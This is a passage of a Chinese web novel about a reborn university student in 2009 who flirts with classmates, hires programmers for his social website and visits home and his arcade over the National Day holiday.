刚才在楼下哭了一阵后，夏大小姐“到底意难平”，于是擦干眼泪，补上美美的妆，想着上来后，好好跟赵兰蕤撕一撕。 结果高估了自己。 赵兰蕤几句话就把她怼自闭。 见好姐妹如此被“欺负”，夏灵珊一个室友看不过去了。 不过她没有怼赵兰蕤，而是冷冷瞪向陈让。 “姓陈的，你个狗渣男，是不是看着灵珊跟赵兰蕤吵架，你很有成就感啊？” “狗渣男？”陈总皱眉，“姑娘，好歹是九八五大学生，注意一下措辞。” “哟呵，你还不服气啊，那我问你，你明明一直都喜欢灵珊，为什么又要招惹赵兰蕤？这不是脚踩两只船又是什么，骂你狗渣男骂错了？” 陈让继续皱眉。 “夏灵珊……到底是怎么跟你们描述我的？” “灵珊说你从初中就喜欢她了，还跟她表白过，其实她也对你有好感，没直接答应你，不过是想继续考验考验你，结果你又跑去招惹赵兰蕤……你始乱终弃！” “噗……” “狗渣男，你笑什么？” “放心，不是笑你，我有素质的。单纯笑你刚才说的话。考验我……我就纳闷了，她夏灵珊是党和国家么，她有什么资格考验我？” “这——” 此时赵兰蕤接过了话茬儿。 “同学，我插句嘴吧——” “先不说夏灵珊有没有资格考验陈让，真正的感情就不需要考验，而是两情相悦，而是水到渠成和双向奔赴。” “明知不可为而为之的坚持，全世界非他不可的决心……这才叫真正的感情！” “当你试图去考验一个人，说明你本质上就不认可他，哪怕最终接受，也只不过是权衡利弊的选择！” “还有——” 赵兰蕤看着已经毫无气势可言的夏灵珊、以及她三个姐妹。 “我帮陈让解释一下，他从来没有撩过我，基本都是我主动找他说话的。像他这样优秀的男孩子，夏灵珊不懂得珍惜，有的是人珍惜……不是每个人都跟她一样瞎！” 夏灵珊仿佛挨了雷劈，再撑不住了，转身夺路而逃。 她的三个姐妹，也是什么话都说不出来，跟着狼狈离开。 第92章 好奇怪哦 第九十二章 好奇怪哦 跟赵兰蕤吃了午饭后，陈让跟她说，走吧，去找你舅舅拿茶具。 先前确定要这套茶具后，他就打电话预约了转账额度，现在随时可以转账。 零九年也有相较于二五年更便捷的地方——譬如此时还没电诈，大额转账没有后世那么复杂。 赵兰蕤嗯了一声，带他坐上了回望江校区的公交车。 东大门下车，陈总就很der。 “赵同学，你舅舅也是咱们蜀大的么，哪个领导？” “陈同学，你认识的。” 都“开卷考试”了，陈总还能反应不过来么。 “所以……你舅舅是孙副校长？” “不然呢……”赵兰蕤促狭一笑，“陈同学，其实我暑假就听过你了，舅舅去德州跟你吃了顿饭以后，回来可是对你赞不绝口，这么多年了，我可从来没见过他如此不吝赞美的夸过一个学生。” 说到这里，赵大美女的眼瞳，愈发的亮晶晶。 “暑假时我就对你就有些好奇了，还想着进校后，叫舅舅给我介绍介绍你这位青年才俊……结果都用不着舅舅出马咱俩就认识了。” “所以……咱俩还算有缘分吧！” “这个……倒还真的算。” 难怪总觉得这姑娘对自己有种莫名其妙的滤镜。 感情根由在此。 十来分钟后，两人到了孙柯的办公室。 见到陈让，孙副校长也挺诧异。 “怎么是你小子啊，跟我家蕤蕤怎么认识的？” 陈总都用不着说话，赵兰蕤就跟自己老舅解释了一遍。 孙柯微微皱眉，还打算继续盘问。 孙副校长可是见过林静姝的。 现实层面，他活了五十来年，也是第一次见到这么水灵的小姑娘。 自家外甥女足够漂亮，但是跟这位林氏公主比，那还就真比不了。 各方面都差点。 叠加起来，那就是一个大档次。 为什么孙副校长要继续盘问？ 他看出来了，自家外甥女对陈让有意思。 要陈让是主动撩的赵兰蕤，妄想脚踏两只船，他肯定饶不了这小子。 不过要是自家外甥女在倒贴——那就不能怪人家陈让。 只能回头找个时机，好好跟自家外甥女聊聊，劝她及时止损。 跟那位仿佛天仙的林氏公主抢男朋友——蕤蕤你不配啊。 这可不是“涨他人志气、灭自己威风”，而是“客观事实不以主观意识而转移”。 结果他刚起了个话头，赵兰蕤就不高兴了。 “舅舅，你查户口啊，那么多话……先说正事吧，茶具在哪儿？” “……” 虽说女生外向是天性，但是蕤蕤你这也太外了吧。 看得出来，孙柯挺疼外甥女，赵兰蕤跟他恃宠而骄，他还真没办法。 只得起身、拿出了那套朋友刚送过来的茶具。 茶具这玩意儿，陈总基本不懂。 不过—— 孙柯什么身份，他既然说了值一百万，那就肯定只多不少。 瞅两眼后，陈总就乐呵呵收下。 从孙柯那儿拿到了他朋友的银行账户，很快完成转账。 办完正事，开启闲聊。 “陈让，听蕤蕤提过一嘴儿，你小子最近在捣鼓个什么网站？” “是有这么回事儿。” “你小子才大一，就着急忙慌想创业了？不至于吧——” “孙校长——多少事，从来急，一万年太久，只争朝夕！” “哟，引用一下伟人的话就不是你啦，我觉得你小子还是应该以学业为重，你高考成绩可是能上清北的，要到了我们蜀大，大一就挂了科，传出去可不好听，别人会以为是我们蜀大的大环境不好……” “孙校长，那不可能——跟您保证，不挂科是我的底线！” “这可是你说的——” 孙柯端起桌上茶杯抿了口，嘴唇却只碰到几片湿茶叶，喝了个寂寞。 “咳……话又说回来，你小子创业要真能搞出名堂，挂科其实也没所谓，就怕两头都沾不着……需要学校方面给你些扶持么？” 陈让早发现茶杯空了，也早就瞄准了开水壶。 丝滑拿过、给孙柯满上，然后嘿嘿笑着说： “孙校长，眼目前还不需要，不过您放心，真需要学校扶持时，我绝对不会假客套！” 闲聊至此结束，根本没啥营养。 但是多年以后，孙柯却还能很神奇的记得陈让最后那句话。 含金量太足。 这小子何止是不客套，简直快把整个蜀大都薅秃噜皮了！ 值得一提，陈总跟孙柯告别时，孙副校长起身小送了一下。 门口位置，轻轻拍了拍他的肩膀。 “陈让，我倒也想过介绍你跟蕤蕤认识一下，却没想到你俩早就认识了，你小子……的确很会交朋友。” 陈总多大个人精，这话还能听不懂？ 孙校长分明是在点他，甚至是警告——别他妈妄想脚踏两只船。 还好——陈总压根没有过这样的想法。 “身正不怕影子歪”，他的回答格外硬气。 “孙校长，那必须的——优秀的人，总是很容易互相吸引！” …… 又两天过去——国庆长假来了。 零九年九月三十号，蜀大经济学院金融专业就上午有两节课，上完后，大多数新生都开始拾掇行李准备回家。 譬如六零六哥几个，昨晚就把行礼收拾好了，今天一上完课就踏上了归家的旅途。 这个不难理解。 哥几个长这么大，都是第一次跟父母分别这么久。 刚进校时个个装得人五人六，嚷嚷着自己已经成年了，上大学就是为了享受自由，结果该想家还不是要想家。 陈让也想家里的老父亲和老母亲。 他买了今天下午的火车票。 跟大黄哥约好，火车北站汇合。 本来没打算坐火车，都跟林静姝说好了的，蹭她家的“劳子”回德州。 “劳子”多舒服，潜艇蓝真皮座椅，自带按摩功能，更别说还有林大美人作陪，怎么也比跟黄博文一起苦逼挤火车好。 可惜计划没赶上变化。 昨晚林静姝跟他说，她国庆要去上海一趟，四号再回德州，今天下午孟叔会直接把她送到双流机场。 室友们陆续走-光后，六零六显得空荡荡。 陈让刷了会“众众网”后台，看了看时间，发现已经中午，便给林静姝发了个消息，跟她说在二食堂碰头。 这对“好朋友”，很快在食堂门口见着了面。 今天的林大美人，穿着一件香奈儿的长裙，露出一截小腿，葱白如玉，美人桃花眼明粲粲的，似乎随时都在结蜂蜜。 甜的嘛，不谈了。 进了食堂，陈让去打饭，林静姝坐等。 她单手托腮，看着陈让笔直的后背，桃花眼很快化作两瓣月牙。 美人静坐的仪态，看呆了许多少年。 等陈让打好饭，坐到林大美人身旁，少年们开始愤懑，有几个甚至在骂骂咧咧。 这个狗比，何德何能！ 陈总报复心多强，果断做起了批发狗粮的生意。 开始让林静姝喂他吃这个吃那个。 林大美人每次都听话照做。 餐盘中的食物，大半都进了某人嘴巴。 到得最后，似乎整个二食堂都充满了齁鼻子的狗粮味。 中间这个过程，也不知道多少骚年道心破碎，扫都扫不起来。 “呦呦同学，你确定四号就能回德州？” “确定，其实我二号就想回来的，但是爷爷奶奶肯定不会放我走……” “四号就四号……到时带我见你妈妈。” “额……” 对话到至此，林静姝罕见的、在陈让提出要求后没有直接同意。 学神少女表情很纠结。 “你妈妈又不吃人，我都不怕，你怕什么？” “陈让，我喜欢妈妈，我也喜欢你，所以……我怕你们相互不喜欢。” 陈让揉了揉林静姝柔顺的黑发。 “放心，你富贵哥风一般的少年，哪有阿姨会不喜欢我？” “陈让，我妈妈就不喜欢你。” “咳……” 陈总脸颊抽了抽。 有些习惯是刻进基因的。 譬如他跟林静姝“友谊”都如此深厚了，这姑娘时不时的还是会给他一记直拳。 “那总不能永远不跟你妈妈见面吧——请你相信自己最好的朋友，即便我做不到一次见面就让你妈妈喜欢我，但我敢保证不至于让她更讨厌我。” “那好吧。” 林静姝点了点头，表情却还是惴惴，以及浓烈的自责。 “富贵同学，这件事是我的责任，没有发现这是妈妈给你家挖的一个坑，在给你家下马威……我保证以后不会了。” “安啦——这么小一件事，我怎么可能怪你。” 陈让满脸宠溺，再次揉了揉某位学神少女娟秀的长发。 然后就爱不释手了，给弄得乱糟糟。 好玩，爱玩。 林静姝不满的晃晃脑袋，扒开了某人“咸猪手”，然后她目光定格在了某人身后。 “看什么？” “墙上的标语……陈让，上面倡导大家要用公筷，最好不要互相喂食……” 陈让也回头瞅了一眼。 “咳，咱俩这么搞，是有点不卫生……” “陈让，我觉得标语是错的。” 林静姝突然拿过陈让的筷子，放进自己红润的小嘴巴嗦了一下。 在某人诧异目光中，她认真解释。 “口水可以消毒。” 陈总能说什么，赶紧给某位学神少女比起大拇指。 “没毛病！” 想了想，他把筷子拿了过来，塞进自己嘴巴嗦了一下子。 好奇怪哦——怎么是甜的？！ 第93章 武道不敌神通 第九十三章 武道不敌神通 陪某位学神少女吃了午饭后，陈让问她，是送她回宿舍休息、等孟叔来接她去机场，还是跟自己一道去图书馆——陈总有点公务要处理。 林大美人毫不犹豫选择了后者。 国庆长假，她要在上海呆四天，所谓“一日不见、如隔三秋”，等量替换一下，不就是整整十二年见不到自己的“好朋友”啦，那不得抓紧时间维系一下革命友谊？ 于是半小时后，这一对“好朋友”，大手牵小手，到了蜀大图书馆二楼。 有三个人早就在等陈总了——SSR级宝藏程序员杨艺，以及李云飞和楚云龙哥俩。 “众众网”定在国庆长假后公测，肯定有许多准备工作要做。 譬如安全、负载，内容填充和审核，网站页面进一步美化和调整…… 专业的事交给专业人士去做——陈总临走之前，把这三人约到图书馆，就是给他们安排一下假期工作。 要不说陈总是个成熟的狗资本家，杨艺、李云飞和楚云龙，都还不是“星环科技”的正式员工，某人就开始可劲儿剥削这三人的剩余劳动价值了。 陈总安排工作的过程——学神少女坐在自己好朋友旁边，枕着小脑袋，眼睛眨也不眨的看着他，用行动诠释了什么叫重度“友爱脑”。 李云飞跟楚云龙哥俩，前阵子就见过林静姝，却还是不受控制的、被林大美人论外级别的美貌硬控。 陈总敲了敲桌子：“别看了，我家的。” 林静姝桃花眼骤然一亮，不住的点头：“对，他家的。” 李云飞嘿嘿一笑：“老板你做生意的能耐，把整个川A地区的同龄人都拎出来，怕也是寂寞如雪，不过你最厉害的，还是追到了老板娘。” 楚云龙深表赞同：“这话我认可，咱们老板娘的颜值，放眼整个蓉城也是无出其右！” 九八五大学生就是有文化。 “寂寞如雪！” “无出其右！” 哥俩这番话，给陈总和某位学神少女都上足了情绪价值。 不过最让林静姝愉悦的，却是“老板娘”三个字。 好听，爱听！ 陈总摸了摸下巴，决定让“东哥”附个体。 “两位，我解释一下啊——我跟林同学做好朋友，可不是因为她漂亮，事实上我根本不知道她漂不漂亮。” “老板，你眼瞎？” “我脸盲。” “……” 哥俩脸颊剧烈抽搐。 原来老板最厉害的地方，不是做生意、也非撩妹，而是他妈装逼。 杨艺开始捂着嘴笑。 “咳——” 陈总清了清嗓子，继续安排工作。 安排完毕后，他说出了一定要让三人过来面谈的根本原因。 “我很认可三位的能力，所以想跟三位建立长久的合作关系，也就是说……我想让三位跟着我干！” 此话一出，三人都陷入沉思。 这可是关乎到他们未来规划的大事。 陈总没想到的是——第一个答应他的，不是最早跟他合作的杨艺，也不是对他十分崇拜的李云飞，而是接触不深的楚云龙。 他只思考了不到三十秒。 “老板，我决定了，就跟着你干了！前面工资低点也没关系的，我相信老板你的能力，也相信‘众众网’的潜力……” 李云飞跟杨艺也没考虑太久，都答应了陈总的邀约。 “我先给三位交个底吧，‘众众网’公测后，‘星环科技’就会挂牌成立。” 陈让习惯性挑了挑眉。 “至于三位的薪酬，先按照市场价百分之七十给，公司草创阶段，我拿不出太多钱，希望三位能够包容。” 三人都没意见。 百分之七十已经超出他们预期——哪怕百分之五十他们也会同意。 能在这个节点就加入“星环科技”，三人就不可能短视。 三人看中的是陈让这个人，以及“星环科技”的巨大潜力。 拿阿里来说，当年跟着“马爸爸”创业的十八罗汉，现在哪个没有财务自由？ 这么轻松就把三大人才纳入麾下——其中还有一位SSR级——陈总非常愉悦。 讲道理，他这气运，都能跟大汉魅魔刘皇叔比划比划咯。 “也就是今天时间不合适，我待会儿就要去赶火车，不然咱们得去喝两杯。” “老板，喝肯定要喝，但我觉得不是现在喝，而是等咱们‘众众网’公测火爆后喝庆功酒！” “没毛病！” “对，到时必须把老板你灌翻！” 陈总横眉以对，请萧大王出了个场：“切——你们仨一起上吧，老魔小丑，岂堪一击。” 灵魂彻底融合后，陈总酒量也跟着嗷嗷涨，属于“白酒一斤半、啤酒随便干”那个档次。 酒量这玩意儿，网上大家都嗷嗷吹牛逼，什么“雪花不倒我不倒，青岛不飘我不飘”，现实层面，能喝一斤半白酒，还能不当场断片的，绝对恐怖如斯，放眼整个“斗气大陆”也是凤毛麟角般的存在！ 林静姝开了口：“陈让……你们喝庆功酒，我能参加吗？” 陈让笑了笑：“呦呦同学，他们仨不都说你是老板娘么，哪有喝庆功酒老板娘不来的道理？” “昂——”林静姝桃花眼变得异常闪亮，“那我能喝酒吗？” “不行，你只能喝娃哈哈。” “唔……” 图书馆出来后，陈让把林静姝送到经济学院女生宿舍楼下。 看了看时间，两点半了，得赶紧走，不然赶不上火车。 “什么时候回德州，提前跟我说。” 陈让交代完，直奔校外坐公交。 林静姝站在原地，看着某人由大变小，直到完全消失，方才收回目光。 半小时后，陈让赶到火车北站。 恰逢十一长假，抬眼望去，乌泱泱一大片都是人头，都跟春运差不离了。 “也难怪后世那些个狗资本家，会把‘你不干、有的是人干’这种话放在嘴边了……” 陈让正吐槽，就看到经过军训后、黑得像个非洲鸡的黄博文，扛着个大大的行李箱，随着汹涌人潮缓缓朝他挤来。 又经一番折腾，哥俩成功汇合。 陈让冲着满头大汗的大黄哥翻白眼。 “大黄，你傻叉啊，国庆也就七天，需要带行李？你又不是不回学校了。” 黄博文解释，说他行李箱装着的不是衣物，而是给他爸妈带的、学校周边卖的蓉城土特产。 边说边打开行李箱给陈让看——主要是包装好的腊肠和腊排骨。 有那么一瞬间，陈总产生了一丢丢负罪感。 还是人家大黄哥懂事，他都两世为人了，也没想着给家里的老父亲和老母亲带点啥。 但是负罪感很快被吐槽欲取代。 “大黄，那你就更傻叉了。” 陈让边说边指着包装袋上面的字。 “产地：德州市国营肉联厂。” 哥俩一路舟车劳顿，略过不表。 两小时后，陈让提着一大口袋的腊肠和腊排骨，出现在了家门口。 哪儿来的——肯定是从黄博文那儿薅的，足足薅了一半。 而且陈总还很机智的把包装袋撕掉了，换成了塑料袋。 或许是儿子离家整整一个月，大概也有那一大袋腊肠和腊排骨的缘由，陈总回家第一天，待遇非常高。 晚饭时，老爸拾掇了一大桌子菜，其中整整四个大硬菜。 对于素来勤加持家的老两口来说，这顿晚饭何止丰盛，简直奢靡。 第二天陈总待遇开始线性下滑，不过睡了个大懒觉起来后，发现饭桌上有给他留早餐。 第三天就是断崖式下跌了，陈让依旧睡懒觉，起床后没看到餐桌上有早餐，晚上还被李女士教训了，骂他是狗变的，回家没两天，就把自己房间搞成了狗窝。 到了十月三号，陈总没敢睡懒觉，一大早就起来了，吃早餐时某位女士开始问陈让——臭小子，你到底什么时候开学？ 陈总觉得自己涨知识了——只知道话费会欠费，没想到母爱也会。 也就要等林静姝回德州，然后去见“丈母娘”，不然陈总早回学校了。 假期真的很无聊。 高三六班倒是组织了一次聚会，不过陈让没去——懒得在无谓社交中消耗精力。 这几天，除了每天去趟电玩城，其他时间都宅家里。 刚好某位女士国庆七天也不用上班。 母子俩抬头不见低头见，也难怪会相看两厌厌。 陈让宅家，除了看书，就是“众众网”的后台。 国庆假期刚开始时，“众众网”日活量下降了大概百分之三十。 以至于星环科技仅有的三个员工，都表示了担忧，不住在只有四个人的工作群里@陈富贵，说老板咱们网站是不是出什么问题？ 陈总表示“让子弹再飞会儿”。 “众众网”眼目前的用户，百分之九十九都是在校大学生。 放假了都忙着疯玩跟聚会，日活下降很正常。 下降百分之三十，甚至不是坏事，而是好事——说明“众众网”的用户，已经有相当粘度了，放假居然都有百分之七十在继续水。 所以吧，要学会换个角度看问题啊。 陈总稳坐钓鱼台。 事实证明他是对的。 到了十月三号，“众众网”日活量开始回流，达到了峰值的百分之八十多，第四天更不得，竟是突破了峰值。 说明什么——“众众网”有口皆碑，有大-波“自来水”。 值得一提——“众众网”现在已经有了几个小网红。 粉丝最多的账号，自然属于“陈富贵”。 放假这几天，陈总也是笔耕不缀，都写到渣男陈汉生疑似挨了“非典”被隔离，沈幼楚和萧容鱼两个女主角第一次见面，边上还有个大美女郑观媞“库库库”的吃瓜了。 这个剧情是这本小说前期一个非常大的爆点，以至于《重生之我在蜀大当渣男》这本小说的追更数据，已经突破了一千，账号粉丝量也破了三千。 考虑到“众众网”的注册用户，迄今为止，也没超过一万。 可想而知这本小说有多大吸引力，竟有差不多三分之一用户在看。 用户们边看边骂。 “挨千刀的陈狗！” “心疼小鱼儿！” “守护全世界最好的幼楚！” “作者叫陈富贵……他不会就是陈汉生本人吧？” “绝对是……兄弟们，要不我们把这个狗作者人肉出来，然后把他刀了吧！” “走走走——刀在手，杀陈狗！” “嘿嘿，小鱼儿留给你们，幼楚我抱走了！” 陈总偶尔也会看下评论，越看越乐呵。 还“狗作者”，老子要是“狗作者”，你们就是“狗读者”！ 粉丝第二多的账号是“王少爷”。 王子聪这家伙，不愧是装逼界的天才。 他那个《王少爷的日常》系列，已经更新到了八十多集。 最新一集，写的是他代表家族参加一场慈善晚宴，邂逅了一个当红女明星，发生了一些不可描述的故事…… 其实王子聪大部分粉丝，都属于黑粉，压根不信他写的那些东西，都在骂他吹牛逼不打草稿，有暴躁老哥直接问候他的太奶奶，还有更暴躁的、表示要现实王子聪一下子，还发了自己有八块腹肌的撸铁照片。 搞得王大少诚惶诚恐，专门给陈让发信息，问他自己的资料，有没有泄露可能。 “五哥，这个你完全可以放心。讲道理，隔壁的‘陈渣男’，不也有一大帮狗读者入了戏，分不清现实和小说，要刀了我么，我都不怕你怕啥？” 陈总自信回复。 做网站最怕啥？ 首当其冲就是被被黑客攻击。 陈总相当重视这一块。 专门拨了一笔款，让杨艺请了她师父郭胜华，当“众众网”的首席技术顾问。 郭胜华可是当年中美黑客大战、带头冲锋的猛将，更是红河联盟几个创始人之一。 有这位大佬保驾护航，“众众网”稳得雅痞。 “也对啊，你陈六子的黑子，比老子只多不少，你都不怕我怕啥——” 王大少放下心来，甚至彻底的放飞自我。 黑红也是红—— 知道自己不会被线下真实后，装逼装的愈发风生水起。 没事儿还亲自下场，跟几个黑粉头子撕逼。 结果竟是建立了“良性循环”——随着骂战愈发激烈，《王少爷的日常》系列，肉眼可见的越来越火。 甚至连陈总都产生了危机感。 再让这个逼这么发挥下去，“陈渣男”怕都压不住他。 这大概就是“武道不敌神通”吧，传说级别的先天网红圣体，跟你闹呢。 第94章 焦虑的“老父亲” 第九十四章 焦虑的“老父亲” 零九年十月四号，陈总起了个大早，捯饬完毕后出门坐公交，准备去趟电玩城。 今天中午宋臻和林静姝母女就能到德州。 陈让打算下午就去拜访回礼，明天上午启程返校。 “众众网”八号公测，六号和七号这两天，陈总觉得自己应该在学校坐镇。 做什么工作——还真没什么具体工作是他能干的。 术业有专攻。 修复BUG，构架优化，负载测试，UI简化，页面美观…… 哪样陈让也不懂。 但是—— 这事儿好比老婆在产房里生孩子。 老公不在产房外来回踱步、楼梯口抽半包烟…… 总觉得少点仪式感。 陈总现在往电玩城走，是要把未来几个月需要他安排的工作，都提前安排一下。 毕竟他下次再回德州，得等到寒假，中间足足四个月。 跟“众众网”比，电玩城就是小打小闹。 性价比最高的做法，是趁现在市场价值最高时、把它盘出去。 前阵子还真有位福建商人跑来问了，打算出五百万盘下。 陈总有过短暂的心动——但是斟酌后给拒了。 里面其实没多少商业上的考量。 电玩城这玩意儿，每年撑破天也就寒暑假三个月旺季，且最黄金的风口期已经过去。 五百万完全可以出手。 为什么没有？ 第一，这家电玩城毕竟是他这辈子做的第一单买卖。 第二，还是他跟林静姝“友情”发酵和升温的地方。 有纪念意义的。 陈总打算一直做下去——哪怕赔本。 走到街口站牌，还没等到公交，陈让听到有人跟他打招呼。 “男神，这么巧的？” 循声望去，站牌下有个妹子巧笑倩兮，正是肖茜。 茜美女身边还跟着个男的。 跟肖茜寒暄两句后，陈让知道了男生的名字。 叫肖森，跟肖茜是堂兄妹，也就是拥有共同的爷爷奶奶。 “男神，你有点高冷啊，国庆假期，我在群里约你吃饭约好几次了吧，你都没理我的！” “这就冤枉我了，我明明回了你的。” “嗯，哦，啊……总共就这三个字！” “那说明我是真的忙——肖茜同学，你看我百忙之中都没忘记回复你，你不感动就罢了，居然还埋怨我……你有没有觉得自己很过分？” “好吧，那我真有些不知好歹了……男神，我跟几个初中同学约好了，准备去电玩城玩，没想到在这儿碰到你了，待会儿你得请客。” “小意思。” 请别的陈总估计会犹豫。 请打游戏——这玩意儿对他来说，基本就是零成本。 再者肖茜不找他，估计也能白嫖——她老舅高升可是电玩城的总经理。 此时公交车到了，一行四人陆续上车，又十多分钟后到了电玩城。 肖茜那几个朋友已在楼下等着——居然都是女孩子。 明明已经开始降温，几个姑娘穿得却很清凉。 似乎上大学后，女生们的穿衣风格、都开始变得大胆。 “啧啧啧，当代女大学生素质就是好，年纪轻轻的就知道为国家省布料。” 吐槽归吐槽，某人却也一眼没少瞧。 好看，爱看！ 也就是某位学神少女没看到这一幕，否则肯定会哼哼着给他一拳，直接让他脑袋飘字符。 “姐妹们，给你们介绍啊，这位是我堂哥肖森，先前跟你们提过的嘛。” 肖茜介绍她堂哥就很敷衍，语速飞快，到了陈让却故意拖长语调。 “这位就是我男神陈让，怎么样，姐妹们，够帅吧！” 颜值就怕对比。 肖森黑胖黑胖。 陈让白白净净。 光卖相就甩他十八条街。 肖森肯定吃味儿，差点没把后槽牙嚼碎。 他死皮赖脸求了好一阵，堂妹今天组姐妹局才带着自己。 结果却多了陈让这个“节外生枝”。 妹子们都在看陈让，他则被完全无视。 那个羡慕嫉妒恨！ 不过肖森很快就撤回了恨。 他不配。 “老板！” “老板好！” “小陈哥哥，人家新练了一支舞，待会儿跳给你看！” 进了电玩城，一众员工，以及那群跳骚舞的小姐姐，都在跟陈让打招呼。 肖森和肖茜的小姐妹们都很懵。 陈让是这家电玩城的老板？ 他不跟咱们是同龄人么。 难道是个富二代？ 此时肖茜把陈让是怎么当上电玩城老板的，囫囵大概的说了一遍。 妹子们听完后，都忍不住夹了下腿。 也难怪在初中当了三年班花的肖茜，会一口一口男神叫着。 讲道理，她们也想的，男神嘤嘤嘤！ 跟她们是同龄人的陈让，居然不是拿家里钱出来瞎造的富二代，而是白手起家的富一代！ 富二代和富一代虽然都富，但这里面的差别可海了去。 前者不过是投个了好胎。 后者却是能力、手腕和眼光……诸多优秀特质的具现。 肖森很自闭。 虽然陈让比他帅，但是陈让也比他有钱，更是比他有能力。 那还比个der哦。 跟前台卖币的员工说了肖茜等人免单后，陈总准备去自己办公室——几个管理人员早在里面候着了，等他开会。 肖茜不让他走。 拉着他衣袖。 “男神，这么久没见了，我们聊聊天嘛。” “时间就是金钱，硬要我陪你聊天也行，有偿陪聊了解一下。” “啧啧啧，不愧是资本家啊……怎么收费的？” “一百块一个钟。” “也不贵吖。” “一个钟一分钟。” “……” 茜美女脸颊开始抽搐。 她也算家境优渥，却毕竟不是某位家境超模的学神少女。 要那位也听到陈总这么说，肯定会直接掏银行卡。 “富贵同学，别问我要买多久，你的体力能支持你说多久，我就买多久！” “哈哈——”陈总给肖茜的表情逗乐了，“那就陪你聊聊呗，想聊什么？” “你跟灵珊到底怎么回事儿？” “滚犊子——这不哪壶不开提哪壶么。” “不至于吧——男神，你以前不挺喜欢灵珊的么，高中追了整三年，说放下就放下啦？” 堂妹跟陈让聊天时，肖森在偷听。 听到这里心里终于平衡。 长得帅又如何，年少多金又怎样，还不是他妈舔狗？ 他凑到陈让身边，假惺惺的安慰。 “陈让，夏灵珊我知道，你们班的大班花嘛，数遍整个德州一中，怕也就只有一班的林静姝能压她一头，这种级别的大美女，你追不到也是正常的……” 陈让白了这家伙一眼。 真安慰他还是假惺惺，你陈总还能听不出来？ “不聊了，开会去。” 陈让转身就走。 肖茜皱眉。 “堂哥，你不说话没人当你哑巴，居然把我男神气走了！” “堂妹，我明明在安慰他……” 肖森还是装着很无辜的样子，接着话音一转。 “堂妹，你又不是没人追，干嘛拿陈让当男神啊？他除了会搞钱，也没有很优秀嘛。” “就说长相，咱们一中上清华的顾惜朝，不比他帅多了？我有顾惜朝QQ哦，要不要推给你？” “顾惜朝？”肖茜不屑一笑，“堂哥，那我问你，他能追到林静姝吗？” “那肯定不能啊，林静姝跟咱们又不是一个画风的，我甚至怀疑，这个世界上就没有能追到她的碳基生物！” “那我要是告诉你，林静姝也拿陈让当男神，你又该如何应对，还觉得陈让不如顾惜朝吗？” “堂妹，你扯淡吧，那可是林静姝啊，她会瞅得上陈让？” 他的认知中，林静姝可是拥有神格的。 肖森笑了，轻蔑中带着不屑。 都喜欢打篮球的缘故，他跟顾惜朝很好。 记得拿录取通知书那天，顾惜朝情绪非常低落，晚上还专门找他喝了酒。 那晚顾大校草喝得烂醉如泥，嘴里一直在碎碎念。 “同班一年半了，五百多个日夜……她……她居然连我叫什么都不知道……” 显然这个“她”是指林静姝。 顾同学品学兼优、又帅得像言情剧男主角。 在林静姝那儿却不配拥有姓名。 可见林大美人有多高冷难追。 陈让可以？ 他算哪根蒜苗！ 这都不是扯犊子，而是科幻片！ 肖茜翻了个白眼：“切，爱信不信。” 肖森满脸嗤笑：“堂妹，这要是真的，我当场把这个啃来吃了！” 他指着旁边拳皇机器的青木摇杆。 结果话音才落下，电玩城传来阵阵喧哗。 “来了，她来了！” “谁来了，咋咋呼呼的，哥们你太奶奶来找你了？” “去去去，女神啊，传说中的拳皇女神！” 许多目光看向大门处。 有个少女娉婷而来。 明明大厅灯火璀璨，此刻却像突然失去所有光线。 或者说——因为少女过于闪耀，以至灯光为之黯色。 香奈儿的长裙，普拉达的包包，长发肆意披肩，密如流瀑。 鹅蛋脸精致绝美，身材高挑丰润。 最夺人眼目，是那一对明粲粲的桃花眼，纵使无情也动人。 五官到身材，穿着到气质，竟无一处不完美，俨然造物者的恩赐。 肖森瞪大眼睛。 “她……她怎么来了，来……来这种地方？” 陈让知道林静姝今天回德州，也跟她约好了，让她就在家等。 等他处理完电玩城这边的事，就去她家拜访。 结果林大美人前脚才到德州，后脚就给他发信息，说我能不能先过来找你，下午再一起去见妈妈。 陈总答应了。 于是就有了眼前这一幕。 此时陈让也从办公室出来了——来接她的。 “昂——” 许多陌生人看着自己，林静姝很紧张，鹅蛋脸绷得很紧。 见到陈让后，脸上顿时浮出愉悦，朝着陈让小跑。 看着林大美人向自己奔赴而来，陈让心生感慨。 下意识的、某人张开双臂——毕竟好多天没见了。 林静姝直接扎进他怀中。 陈让一把将她搂起，借助惯性转了个圈圈。 在这个过程中，林静姝的桃花眼，抑制不住的、又开始解蜂蜜。 何止是开心，简直是愉悦。 以至于陈让将她放下后，都还意犹未尽。 “陈让，还转，好玩，爱玩！” “转个屁，差点没把老腰给我闪了……” “可是我才一百斤，哦，好像最近长胖了，一百零五了，但也不是很重吖，哦，我懂了，陈让，你有点虚！” “……” 陈总脸颊开始抽搐。 这么多人看着呢，“林教头”你就冲我打直拳，堂堂富贵大帝，颜面何存？ 好在电玩城的玩家，都没听到林静姝说了些什么，他们都被方才“爱的魔力转圈圈”那一幕给震撼到了。 “她就是那位打遍德州无敌手的拳皇女神？” “名不虚传啊——这也太漂亮吧？” “我眼睛是不是出毛病了，怎么觉得她在发光？” “她怎么跑起来了……额，怎么还跟小陈老板抱上了，还尼玛转圈圈……啊，拿老子当狗杀？” “妈的，来打个电动都能被喂狗粮？” “小陈老板，你要赔我们精神损失费啊——焯！” 玩家们纷纷嚷嚷。 当然也仅限于吐槽。 跟上个世纪混迹于街机厅的那帮混混不同。 新生代的玩家，基本都受过良好教育。 古惑仔们吆五喝六的野性时代，终究已经过去。 “咳——” 被这么多人调侃，陈总有些汗颜。 “得勒，今天我出个血，全场打七折，这下你们满意了吧？” 陈总难得的慷慨，换来一片叫好。 接着多日未见的这一对“好朋友”，大手牵小手，往办公室走。 有个天性秀逗的哥们儿，竟是嗷嗷来了一嗓子。 “良辰已到，送-入洞房！” 惹来哄堂欢笑。 值得一提—— 直到陈让带着林静姝进了办公室，肖森都还处在石化状态。 居然是真的。 堂妹没有吹牛，也没有任何夸张。 陈让这个家伙，真把林静姝追到了。 肖森觉得这一幕很玄幻，然而“客观事实不以主观意志转移”再怎么匪夷所思，事实就是事实。 正尴尬着，堂妹又给他心窝子扎了一刀。 “堂哥，这摇杆挺硬的，你打算怎么吃哟，要不要我给你买点白糖蘸蘸？” “……” 肖森觉得今天这事儿，堂妹保底笑他五年。 …… 进了办公室，陈总继续开会，半小时后开完会，却还是没时间跟某位学神少女维系革命友谊——还要看财务报表。 林静姝倒也没闹，而是安静坐在陈让边上，单手托腮看着他。眼睛眨也不眨。 “呦呦同学，我承认我帅的惊动联合国，但你能不能不要老这么看着我啊？” 